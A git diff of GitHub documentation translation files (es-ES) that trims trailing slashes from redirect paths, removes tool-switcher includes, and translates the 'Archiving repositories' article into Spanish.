diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
index bfd0602a92..7354246bea 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line.md
@@ -3,7 +3,7 @@ title: Resolving a merge conflict using the command line
 intro: You can resolve merge conflicts using the command line and a text editor.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line
-  - /articles/resolving-a-merge-conflict-from-the-command-line/
+  - /articles/resolving-a-merge-conflict-from-the-command-line
   - /articles/resolving-a-merge-conflict-using-the-command-line
   - /github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-using-the-command-line
   - /github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
index f0b3bb65b3..a578538671 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks.md
@@ -3,7 +3,7 @@ title: About status checks
 intro: Status checks let you know if your commits meet the conditions set for the repository you're contributing to.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks
-  - /articles/about-statuses/
+  - /articles/about-statuses
   - /articles/about-status-checks
   - /github/collaborating-with-issues-and-pull-requests/about-status-checks
   - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
index ef4da4c419..04a027d1a8 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/index.md
@@ -2,8 +2,8 @@
 title: Collaborating on repositories with code quality features
 intro: 'Workflow quality features like statuses, {% ifversion ghes %}pre-receive hooks, {% endif %}protected branches, and required status checks help collaborators make contributions that meet conditions set by organization and repository administrators.'
 redirect_from:
-  - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features/
-  - /articles/collaborating-on-repositories-with-code-quality-features-enabled/
+  - /github/collaborating-with-issues-and-pull-requests/collaborating-on-repositories-with-code-quality-features
+  - /articles/collaborating-on-repositories-with-code-quality-features-enabled
   - /articles/collaborating-on-repositories-with-code-quality-features
   - /github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features
 versions:
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
index 19d228c570..4edfc60e28 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/about-collaborative-development-models.md
@@ -3,7 +3,7 @@ title: About collaborative development models
 intro: The way you use pull requests depends on the type of development model you use in your project. You can use the fork and pull model or the shared repository model.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/getting-started/about-collaborative-development-models
-  - /articles/types-of-collaborative-development-models/
+  - /articles/types-of-collaborative-development-models
   - /articles/about-collaborative-development-models
   - /github/collaborating-with-issues-and-pull-requests/about-collaborative-development-models
   - /github/collaborating-with-pull-requests/getting-started/about-collaborative-development-models
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
index bf0ccff210..1fef23a997 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/getting-started/index.md
@@ -3,7 +3,7 @@ title: Getting started
 shortTitle: Getting started
 intro: 'Learn about the {% data variables.product.prodname_dotcom %} flow and different ways to collaborate on and discuss your projects.'
 redirect_from:
-  - /github/collaborating-with-issues-and-pull-requests/getting-started/
+  - /github/collaborating-with-issues-and-pull-requests/getting-started
   - /github/collaborating-with-issues-and-pull-requests/overview
   - /github/collaborating-with-pull-requests/getting-started
 versions:
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
index 5e6f9ca772..cdec1046a8 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges.md
@@ -3,7 +3,7 @@ title: About pull request merges
 intro: 'You can [merge pull requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request) by retaining all the commits in a feature branch, squashing all commits into a single commit, or by rebasing individual commits from the `head` branch onto the `base` branch.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges
-  - /articles/about-pull-request-merge-squashing/
+  - /articles/about-pull-request-merge-squashing
   - /articles/about-pull-request-merges
   - /github/collaborating-with-issues-and-pull-requests/about-pull-request-merges
   - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
index 69810de580..cf9dabb2ea 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/index.md
@@ -2,7 +2,7 @@
 title: Incorporating changes from a pull request
 intro: 'You can propose changes to your work on {% data variables.product.product_name %} through pull requests. Learn how to create, manage, and merge pull requests.'
 redirect_from:
-  - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request/
+  - /github/collaborating-with-issues-and-pull-requests/incorporating-changes-from-a-pull-request
   - /articles/incorporating-changes-from-a-pull-request
   - /github/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request
 versions:
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
index 3dd13c576c..881c4b1c19 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request.md
@@ -41,8 +41,6 @@ If you decide you don't want the changes in a topic branch to be merged to the u
 
 ## Merging a pull request
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/index.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/index.md
index 778d7d9fad..0b40a80858 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/index.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/index.md
@@ -2,12 +2,12 @@
 title: Collaborating with pull requests
 intro: 'Track and discuss changes in issues, then propose and review changes in pull requests.'
 redirect_from:
-  - /github/collaborating-with-issues-and-pull-requests/
-  - /categories/63/articles/
-  - /categories/collaborating/
-  - /categories/collaborating-on-projects-using-pull-requests/
-  - /categories/collaborating-on-projects-using-issues-and-pull-requests/
-  - /categories/collaborating-with-issues-and-pull-requests/
+  - /github/collaborating-with-issues-and-pull-requests
+  - /categories/63/articles
+  - /categories/collaborating
+  - /categories/collaborating-on-projects-using-pull-requests
+  - /categories/collaborating-on-projects-using-issues-and-pull-requests
+  - /categories/collaborating-with-issues-and-pull-requests
   - /github/collaborating-with-pull-requests
 versions:
   fpt: '*'
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md
index b14dec6166..60c225594f 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches.md
@@ -3,7 +3,7 @@ title: About branches
 intro: 'Use a branch to isolate development work without affecting other branches in the repository. Each repository has one default branch, and can have multiple other branches. You can merge a branch into another branch using a pull request.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches
-  - /articles/working-with-protected-branches/
+  - /articles/working-with-protected-branches
   - /articles/about-branches
   - /github/collaborating-with-issues-and-pull-requests/about-branches
   - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
index 04002cc4a8..1408b3e897 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests.md
@@ -3,7 +3,7 @@ title: About pull requests
 intro: 'Pull requests let you tell others about changes you''ve pushed to a branch in a repository on {% data variables.product.product_name %}. Once a pull request is opened, you can discuss and review the potential changes with collaborators and add follow-up commits before your changes are merged into the base branch.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests
-  - /articles/using-pull-requests/
+  - /articles/using-pull-requests
   - /articles/about-pull-requests
   - /github/collaborating-with-issues-and-pull-requests/about-pull-requests
   - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests
@@ -46,7 +46,7 @@ After you're happy with the proposed changes, you can merge the pull request. If
 {% tip %}
 
 **Tips:**
-- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down <span class="platform-mac"><kbd>option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> and click **Show outdated** or **Hide outdated**. For more shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts)."
+- To toggle between collapsing and expanding all outdated review comments in a pull request, hold down <span class="platform-mac"><kbd>Option</kbd></span><span class="platform-linux"><kbd>Alt</kbd></span><span class="platform-windows"><kbd>Alt</kbd></span> and click **Show outdated** or **Hide outdated**. For more shortcuts, see "[Keyboard shortcuts](/articles/keyboard-shortcuts)."
 - You can squash commits when merging a pull request to gain a more streamlined view of changes. For more information, see "[About pull request merges](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges)."
 
 {% endtip %}
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
index fbe2575be6..225c6dbf6e 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request.md
@@ -47,8 +47,6 @@ When you change any of the information in the branch range, the Commit and Files
 
 ## Creating the pull request
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
@@ -159,7 +157,7 @@ gh pr create --web
 {% codespaces %}
 
 1. Once you've committed changes to your local copy of the repository, click the **Create Pull Request** icon.
-![Source control side bar with staging button highlighted](/assets/images/help/codespaces/codespaces-commit-pr-button.png)  
+![Source control side bar with staging button highlighted](/assets/images/help/codespaces/codespaces-commit-pr-button.png)
 1. Check that the local branch and repository you're merging from, and the remote branch and repository you're merging into, are correct. Then give the pull request a title and a description.
 ![GitHub pull request side bar](/assets/images/help/codespaces/codespaces-commit-pr.png)
 1. Click **Create**.
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
index f3bf58b413..aeff18cc0b 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
@@ -3,7 +3,7 @@ title: Creating and deleting branches within your repository
 intro: 'You can create or delete branches directly on {% data variables.product.product_name %}.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository
-  - /articles/deleting-branches-in-a-pull-request/
+  - /articles/deleting-branches-in-a-pull-request
   - /articles/creating-and-deleting-branches-within-your-repository
   - /github/collaborating-with-issues-and-pull-requests/creating-and-deleting-branches-within-your-repository
 versions:
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
index 8c9f586bfa..6a5e87fe5c 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
@@ -2,7 +2,7 @@
 title: Proposing changes to your work with pull requests
 intro: 'After you add changes to a topic branch or fork, you can open a pull request to ask your collaborators or the repository administrator to review your changes before merging them into the project.'
 redirect_from:
-  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/
+  - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests
   - /articles/proposing-changes-to-your-work-with-pull-requests
   - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests
 versions:
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
index 69a679eec4..cbfc7e4cab 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/checking-out-pull-requests-locally.md
@@ -24,8 +24,6 @@ shortTitle: Check out a PR locally
 
 ## Modifying an active pull request locally
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
index 0382b361f4..81e0efb039 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request.md
@@ -2,9 +2,9 @@
 title: Commenting on a pull request
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
-  - /articles/adding-commit-comments/
-  - /articles/commenting-on-the-diff-of-a-pull-request/
-  - /articles/commenting-on-differences-between-files/
+  - /articles/adding-commit-comments
+  - /articles/commenting-on-the-diff-of-a-pull-request
+  - /articles/commenting-on-differences-between-files
   - /articles/commenting-on-a-pull-request
   - /github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
index 39aa8788be..bd7a9b087f 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request.md
@@ -3,7 +3,7 @@ title: Filtering files in a pull request
 intro: 'To help you quickly review changes in a large pull request, you can filter changed files.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request
-  - /articles/filtering-files-in-a-pull-request-by-file-type/
+  - /articles/filtering-files-in-a-pull-request-by-file-type
   - /articles/filtering-files-in-a-pull-request
   - /github/collaborating-with-issues-and-pull-requests/filtering-files-in-a-pull-request
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
index f495e7b218..94e8467a8d 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/index.md
@@ -1,8 +1,8 @@
 ---
 title: Reviewing changes in pull requests
 redirect_from:
-  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/
-  - /articles/reviewing-and-discussing-changes-in-pull-requests/
+  - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests
+  - /articles/reviewing-and-discussing-changes-in-pull-requests
   - /articles/reviewing-changes-in-pull-requests
   - /github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests
 intro: 'After a pull request has been opened, you can review and discuss the set of proposed changes.'
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
index 8babad4362..3635048c07 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request.md
@@ -23,14 +23,12 @@ You can review changes in a pull request one file at a time. While reviewing the
 
 ## Starting a review
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.sidebar-pr %}
 {% data reusables.repositories.choose-pr-review %}
 {% data reusables.repositories.changed-files %}
-{% ifversion fpt or ghec or ghes > 3.2 or ghae %}
+{% ifversion fpt or ghec or ghes > 3.3 or ghae %}
 
    You can change the format of the diff view in this tab by clicking {% octicon "gear" aria-label="The Settings gear" %} and choosing the unified or split view. The choice you make will apply when you view the diff for other pull requests.
 
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
index 6e91cda0c6..f9a5eda3a6 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks.md
@@ -31,7 +31,7 @@ If you're a member of a {% data variables.product.prodname_emu_enterprise %}, th
 
 Deleting a fork will not delete the original upstream repository. You can make any changes you want to your fork—add collaborators, rename files, generate {% data variables.product.prodname_pages %}—with no effect on the original.{% ifversion fpt or ghec %} You cannot restore a deleted forked repository. For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %}
 
-In open source projects, forks are often used to iterate on ideas or changes before they are offered back to the upstream repository. When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch. This speeds up collaboration by allowing repository maintainers the ability to make commits or run tests locally to your pull request branch from a user-owned fork before merging. You cannot give push permissions to a fork owned by an organization.
+In open source projects, forks are often used to iterate on ideas or changes before they are offered back to the upstream repository. When you make changes in your user-owned fork and open a pull request that compares your work to the upstream repository, you can give anyone with push access to the upstream repository permission to push changes to your pull request branch (including deleting the branch). This speeds up collaboration by allowing repository maintainers the ability to make commits or run tests locally to your pull request branch from a user-owned fork before merging. You cannot give push permissions to a fork owned by an organization. 
 
 {% data reusables.repositories.private_forks_inherit_permissions %}
 
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
index 5a79c30660..19207dd1b4 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/index.md
@@ -2,9 +2,9 @@
 title: Working with forks
 intro: 'Forks are often used in open source development on {% data variables.product.product_name %}.'
 redirect_from:
-  - /github/collaborating-with-issues-and-pull-requests/working-with-forks/
+  - /github/collaborating-with-issues-and-pull-requests/working-with-forks
   - /articles/working-with-forks
-  - /github/collaborating-with-pull-requests/working-with-forks/
+  - /github/collaborating-with-pull-requests/working-with-forks
 versions:
   fpt: '*'
   ghes: '*'
diff --git a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
index 9d9b203f5a..2a067051d5 100644
--- a/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
+++ b/translations/es-ES/content/pull-requests/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility.md
@@ -3,7 +3,7 @@ title: What happens to forks when a repository is deleted or changes visibility?
 intro: Deleting your repository or changing its visibility affects that repository's forks.
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
-  - /articles/changing-the-visibility-of-a-network/
+  - /articles/changing-the-visibility-of-a-network
   - /articles/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
   - /github/collaborating-with-issues-and-pull-requests/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
   - /github/collaborating-with-pull-requests/working-with-forks/what-happens-to-forks-when-a-repository-is-deleted-or-changes-visibility
diff --git a/translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md b/translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
index 59f01c0302..5877608cd0 100644
--- a/translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
+++ b/translations/es-ES/content/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message.md
@@ -1,7 +1,7 @@
 ---
 title: Changing a commit message
 redirect_from:
-  - /articles/can-i-delete-a-commit-message/
+  - /articles/can-i-delete-a-commit-message
   - /articles/changing-a-commit-message
   - /github/committing-changes-to-your-project/changing-a-commit-message
   - /github/committing-changes-to-your-project/creating-and-editing-commits/changing-a-commit-message
diff --git a/translations/es-ES/content/pull-requests/committing-changes-to-your-project/index.md b/translations/es-ES/content/pull-requests/committing-changes-to-your-project/index.md
index 0d0ffbebdd..9206e8d17d 100644
--- a/translations/es-ES/content/pull-requests/committing-changes-to-your-project/index.md
+++ b/translations/es-ES/content/pull-requests/committing-changes-to-your-project/index.md
@@ -2,8 +2,8 @@
 title: Committing changes to your project
 intro: You can manage code changes in a repository by grouping work into commits.
 redirect_from:
-  - /categories/21/articles/
-  - /categories/commits/
+  - /categories/21/articles
+  - /categories/commits
   - /categories/committing-changes-to-your-project
   - /github/committing-changes-to-your-project
 versions:
diff --git a/translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md b/translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
index 5bc13e0a96..e63f9863ff 100644
--- a/translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
+++ b/translations/es-ES/content/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user.md
@@ -1,7 +1,7 @@
 ---
 title: Why are my commits linked to the wrong user?
 redirect_from:
-  - /articles/how-do-i-get-my-commits-to-link-to-my-github-account/
+  - /articles/how-do-i-get-my-commits-to-link-to-my-github-account
   - /articles/why-are-my-commits-linked-to-the-wrong-user
   - /github/committing-changes-to-your-project/why-are-my-commits-linked-to-the-wrong-user
   - /github/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user
diff --git a/translations/es-ES/content/repositories/archiving-a-github-repository/archiving-repositories.md b/translations/es-ES/content/repositories/archiving-a-github-repository/archiving-repositories.md
index b8d5a45fc7..68de0db71a 100644
--- a/translations/es-ES/content/repositories/archiving-a-github-repository/archiving-repositories.md
+++ b/translations/es-ES/content/repositories/archiving-a-github-repository/archiving-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Archiving repositories
-intro: You can archive a repository to make it read-only for all users and indicate that it's no longer actively maintained. You can also unarchive repositories that have been archived.
+title: Archivar repositorios
+intro: Puedes archivar un repositorio para que sea de solo lectura para todos los usuarios e indicar que ya no necesita mantenerse activamente. También puedes desarchivar los repositorios que han sido archivados.
 redirect_from:
   - /articles/archiving-repositories
   - /github/creating-cloning-and-archiving-repositories/archiving-repositories
@@ -17,33 +17,31 @@ topics:
   - Repositories
 ---
 
-## About repository archival
+## Acerca del archivamiento de repositorios
 
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** If you have a legacy per-repository billing plan, you will still be charged for your archived repository. If you don't want to be charged for an archived repository, you must upgrade to a new product. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/github-s-products)."
+**Nota:** Si tienes un plan de facturación por repositorio heredado, aún así se te cobrará por tu repositorio archivado. Si no quieres que se te cobre por un repositorio archivado, debes actualizar a un producto nuevo. Para obtener más información, consulta "Productos de [{% data variables.product.prodname_dotcom %}](/articles/github-s-products)".
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.repositories.archiving-repositories-recommendation %}
 
-Once a repository is archived, you cannot add or remove collaborators or teams. Contributors with access to the repository can only fork or star your project.
+Una vez que se archiva un repositorio, no puedes agregar ni eliminar colaboradores ni equipos. Solo los colaboradores con acceso al repositorio pueden bifurcar o iniciar tu proyecto.
 
-When a repository is archived, its issues, pull requests, code, labels, milestones, projects, wiki, releases, commits, tags, branches, reactions, code scanning alerts, comments and permissions become read-only. To make changes in an archived repository, you must unarchive the repository first.
+Cuando se archiva un repositorio, sus propuestas, solicitudes de cambio, código, etiquetas, hitos, proyectos, wiki, lanzamientos, confirmaciones, marcadores, ramas, reacciones, alertas de escaneo de código, comentarios y permisos se convierten en de solo lectura. Para realizar cambios en un repositorio archivado, primero debes desarchivar el repositorio.
 
-You can search for archived repositories. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories/#search-based-on-whether-a-repository-is-archived)." You can also search for issues and pull requests within archived repositories. For more information, see "[Searching issues and pull requests](/search-github/searching-on-github/searching-issues-and-pull-requests/#search-based-on-whether-a-repository-is-archived)."  
